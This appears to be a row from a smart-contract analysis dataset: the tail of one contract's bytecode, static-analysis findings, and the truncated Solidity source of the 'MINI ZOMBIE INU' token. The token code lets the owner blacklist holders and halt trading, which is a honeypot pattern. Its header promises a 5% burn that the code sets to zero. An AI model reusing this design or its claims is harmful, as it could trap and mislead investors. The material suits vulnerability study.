ffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146128d657600080fd5b80601060026101000a81548161ffff021916908361ffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b601060009054906101000a900461ffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a5b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f13104cb4dc58b82302033e6f60ec68cbeb2a09ad490f44bacc9f673d133ef7af8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b69d3c21bcecceda100000081565b6000612b3d614950565b905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612b73826149a3565b15612bf557612bee69d3c21bcecceda1000000612be0670de0b6b3a7640000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148f090919063ffffffff16565b61492a90919063ffffffff16565b9050612c68565b612c6569d3c21bcecceda1000000612c57600654600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148f090919063ffffffff16565b61492a90919063ffffffff16565b90505b919050565b600080612c97601060029054906101000a900461ffff1661ffff168461482990919063ffffffff16565b905080915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f8b22fa58494d7e51b26225e711010b302b8f38ff18be9fade1ed4a8bb5f1283b8183604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f74576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561304e5780601f106130235761010080835404028352916020019161304e565b820191906000526020600020905b81548152906001019060200180831161303157829003601f168201915b505050505081565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613138576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831061328c576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613320565b61329f838261498390919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146134ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7f88cf9b943f64811022537ee9f0141770d85e612eae3a3a39241abe5ca9f113828282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008015156135a5611574565b151514806135ff57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806136575750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1561443757613665336149a3565b1561386e5760006136a3670de0b6b3a764000061369569d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b905060006136d66006546136c8670de0b6b3a7640000856148f090919063ffffffff16565b61492a90919063ffffffff16565b905061372a82600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137bf81600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505061442e565b613877836149a3565b15613d8457600061388783610e83565b905060006002828161389557fe5b049050600081830390506000838603905060006138d96006546138cb69d3c21bcecceda10000008a6148f090919063ffffffff16565b61492a90919063ffffffff16565b9050600061390e60065461390069d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b9050600061394360065461393569d3c21bcecceda1000000886148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000613976670de0b6b3a7640000613968600654866148f090919063ffffffff16565b61492a90919063ffffffff16565b905087600f5403600f819055506139df6002898161399057fe5b04600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a7484600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b0981600760008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613bc08260076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b60076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef896040518082815260200191505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3505050505050505061442d565b613d8e33846149f9565b614266576000613d9d83612c6d565b9050600060028281613dab57fe5b04905060008183039050600083860390506000613def600654613de169d3c21bcecceda10000008a6148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000613e24600654613e1669d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b90506000613e59600654613e4b69d3c21bcecceda1000000886148f090919063ffffffff16565b61492a90919063ffffffff16565b905086600f5403600f81905550613ec260028881613e7357fe5b04600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f5783600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613fec82600760008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506140a38160076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b60076000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505061442c565b600061429960065461428b69d3c21bcecceda1000000866148f090919063ffffffff16565b61492a90919063ffffffff16565b90506142ed81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461498390919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061438281600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546148d190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505b5b5b6001905061443c565b600090505b92915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b635fa5962881565b60055481565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060029054906101000a900461ffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461456b57600080fd5b80601060006101000a81548161ffff021916908361ffff16021790555050565b670de0b6b3a764000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614614659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461475f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e6c79206f776e65720000000000000000000000000000000000000000000081525060200191505060405180910390fd5b7fc3d26c130d120a4bb874de56c8b5fb727ad2cfc3551ca49cd42ef248e893b69a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a180600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000808214156148a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f446976206279207a65726f00000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008284816148ac57fe5b04905060008385816148ba57fe5b06146148c7576001810190505b8091505092915050565b6000808284019050838110156148e657600080fd5b8091505092915050565b6000808314156149035760009050614924565b600082840290508284828161491457fe5b041461491f57600080fd5b809150505b92915050565b600080821161493857600080fd5b600082848161494357fe5b0490508091505092915050565b6000600e547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8161497d57fe5b04905090565b60008282111561499257600080fd5b600082840390508091505092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680614a9c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90509291505056fea2646970667358221220afcc442d1eb374101bd668fb9d4d6fa18d53dbee061cd7fd7af845269df09ce364736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
8,543
0x670172bf281ded6d5da2eca69d0c6726b6cc7601
/** *Submitted for verification at Etherscan.io on 2022-03-24 */ /* SPDX-License-Identifier: Unlicensed MiniZombie https://t.me/minizombieinnu The appearance of a group of Minizombie is the worst case scenario of what is already a worst case scenario. Everytime MiniZombie appears, they appear as a chainswarm. There is no precise number of zombies that comprises a chainswarm. One cannot tell where the boundary of the group ends - it stretches past the horizon, or the immediate field of view. Without a well prepared platoon of organized veteran fighters. There simply is no way for survivors to defeat this MiniZombie army. With the enormous number of MiniZombie, there is no guarantee you're not surrounded, thus your only option is to JOIN the Minizombie army! MiniZombie token is dedicated to present you a deflationary experience! This token is designed with a deflationary mechanism, 5% of our token will be automatically burned to ensure the stability and prospect of the token. We believe that this token will grow exponentially like how zombies grow rapidly. MiniZombie is going to be the deadliest and viral token you have ever seen! https://t.me/minizombieinnu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MINIZOMBIE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "MINI ZOMBIE INU"; string private constant _symbol = "MINIZOMBIE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0x6f8954F7c7Fdd97e2900C7c5A5Cd05c22E4cd59A); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2e7 * 10**9; uint256 public _maxWalletSize = 2e7 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); 